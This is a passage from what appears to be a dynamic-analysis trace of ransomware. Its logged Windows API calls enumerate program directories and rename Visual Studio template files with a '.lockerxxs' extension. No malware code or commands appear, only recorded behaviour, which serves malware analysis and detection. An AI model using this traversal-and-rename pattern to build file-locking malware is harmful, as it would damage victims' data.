8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfoInternal.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\assemblyinfointernal.zip.lockerxxs")) returned 1 [0077.159] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Class.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\class.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Class.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\class.zip.lockerxxs")) returned 1 [0077.164] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\CodeFile.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\codefile.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\CodeFile.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\codefile.zip.lockerxxs")) returned 1 [0077.168] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\DataSet.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\dataset.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\DataSet.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\dataset.zip.lockerxxs")) returned 1 [0077.172] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\EmptyDatabase.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\emptydatabase.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\EmptyDatabase.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\emptydatabase.zip.lockerxxs")) returned 1 [0077.175] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Form.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\form.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Form.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\form.zip.lockerxxs")) returned 1 [0077.178] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Interface.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\interface.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Interface.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\interface.zip.lockerxxs")) returned 1 [0077.182] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\MDIParent.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\mdiparent.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\MDIParent.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\mdiparent.zip.lockerxxs")) returned 1 [0077.184] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Resource.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\resource.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Resource.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\resource.zip.lockerxxs")) returned 1 [0077.194] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\ResourceInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\resourceinternal.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\ResourceInternal.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\resourceinternal.zip.lockerxxs")) returned 1 [0077.197] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Settings.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\settings.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Settings.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\settings.zip.lockerxxs")) returned 1 [0077.200] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\SettingsInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\settingsinternal.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\SettingsInternal.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\settingsinternal.zip.lockerxxs")) returned 1 [0077.203] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\TextFile.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\textfile.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\TextFile.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\textfile.zip.lockerxxs")) returned 1 [0077.208] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\UserControl.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\usercontrol.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\UserControl.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\usercontrol.zip.lockerxxs")) returned 1 [0077.211] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Visualizer.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\visualizer.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Visualizer.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\visualizer.zip.lockerxxs")) returned 1 [0077.213] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\XmlFile.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\xmlfile.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\XmlFile.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\xmlfile.zip.lockerxxs")) returned 1 [0077.215] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x503500, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502698 [0077.215] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x111e5450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x111e5450, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x4f7003, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0077.224] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AppConfigurationInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\appconfigurationinternal.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AppConfigurationInternal.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\appconfigurationinternal.zip.lockerxxs")) returned 1 [0077.227] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AssemblyInfoInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\assemblyinfointernal.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AssemblyInfoInternal.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\assemblyinfointernal.zip.lockerxxs")) returned 1 [0077.230] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Class.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\class.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Class.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\class.zip.lockerxxs")) returned 1 [0077.234] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Dataset.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\dataset.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Dataset.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\dataset.zip.lockerxxs")) returned 1 [0077.238] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Dialog.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\dialog.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Dialog.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\dialog.zip.lockerxxs")) returned 1 [0077.241] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\EmptyDatabase.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\emptydatabase.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\EmptyDatabase.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\emptydatabase.zip.lockerxxs")) returned 1 [0077.245] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Explorer.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\explorer.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Explorer.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\explorer.zip.lockerxxs")) returned 1 [0077.249] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Form.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\form.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Form.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\form.zip.lockerxxs")) returned 1 [0077.253] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\LoginForm.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\loginform.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\LoginForm.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\loginform.zip.lockerxxs")) returned 1 [0077.256] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\MDIParent.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\mdiparent.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\MDIParent.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\mdiparent.zip.lockerxxs")) returned 1 [0077.259] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Module.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\module.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Module.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\module.zip.lockerxxs")) returned 1 [0077.263] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\ResourceInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\resourceinternal.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\ResourceInternal.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\resourceinternal.zip.lockerxxs")) returned 1 [0077.268] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\SettingsInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\settingsinternal.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\SettingsInternal.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\settingsinternal.zip.lockerxxs")) returned 1 [0077.286] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\SplashScreen.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\splashscreen.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\SplashScreen.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\splashscreen.zip.lockerxxs")) returned 1 [0077.290] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Text.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\text.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Text.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\text.zip.lockerxxs")) returned 1 [0077.407] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\UserControl.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\usercontrol.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\UserControl.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\usercontrol.zip.lockerxxs")) returned 1 [0077.408] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x530056, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0077.409] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0077.534] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4ff57a, cFileName=".", cAlternateFileName="")) returned 0x502598 [0077.534] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0077.535] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527793d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0077.535] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0077.633] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f1bbe30, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xdc4b9120, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc4b9120, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x530056, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0077.635] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5abe1b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x4ff562, cFileName=".", cAlternateFileName="")) returned 0x502598 [0077.639] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ea84660, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74002e, dwReserved1=0x740078, cFileName=".", cAlternateFileName="")) returned 0x502598 [0077.644] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaeef6000, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xdc446d00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc446d00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0077.647] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef68420, ftCreationTime.dwHighDateTime=0x1d2dda4, 